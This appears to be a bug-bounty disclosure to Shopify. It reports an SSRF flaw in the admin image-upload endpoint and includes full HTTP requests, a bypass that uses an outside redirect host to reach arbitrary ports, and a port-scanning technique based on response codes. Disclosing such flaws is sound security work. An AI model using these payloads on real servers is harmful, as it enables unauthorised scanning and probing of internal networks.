SSRF via 'Insert Image' feature of Products/Collections/Frontpage

How it was found

Hi Security team,

I would like to report an another SSRF issue like my previous [bug 67377] (https://hackerone.com/reports/67377). The description, threats, risks, exploatations are the same.

The base request is the following

POST /admin/settings/files.json HTTP/1.1
Host: test-4925.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-CSRF-Token: F7cvLpquxqr+rFmnGVFhNEK6rV8njtebHikevxGlLJA=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://test-4925.myshopify.com/admin/collections/63278595
Content-Length: 67
Cookie: COOKIES

src=SOME_URL

If src uses schemes that are not http or https, or the another port then server responds with HTTP/1.1 422 Unprocessable Entity. At the same time we can bypass this filter using HTTP redirection trick below

POST /admin/settings/files.json HTTP/1.1
Host: test-4925.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-CSRF-Token: F7cvLpquxqr+rFmnGVFhNEK6rV8njtebHikevxGlLJA=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://test-4925.myshopify.com/admin/collections/63278595
Content-Length: 67
Cookie: COOKIES

src=http%3A%2F%2Fhettoteam.tk/r.php?r=http://hettoteam.tk:21

If the server returns HTTP/1.1 500 Internal Server Error then the port is opened and if the server returns HTTP/1.1 422 Unprocessable Entity then the port is closed.

Example of scanning ports for scanme.nmap.org host (TCP ports 1 - is closed, TCP port 22 - is opened): src=http%3A%2F%2Fhettoteam.tk/r.php?r=http://scanme.nmap.org:1: HTTP code is 422. src=http%3A%2F%2Fhettoteam.tk/r.php?r=http://scanme.nmap.org:22: HTTP code is 500

The network dump is in attachment.

Cheers, Denis.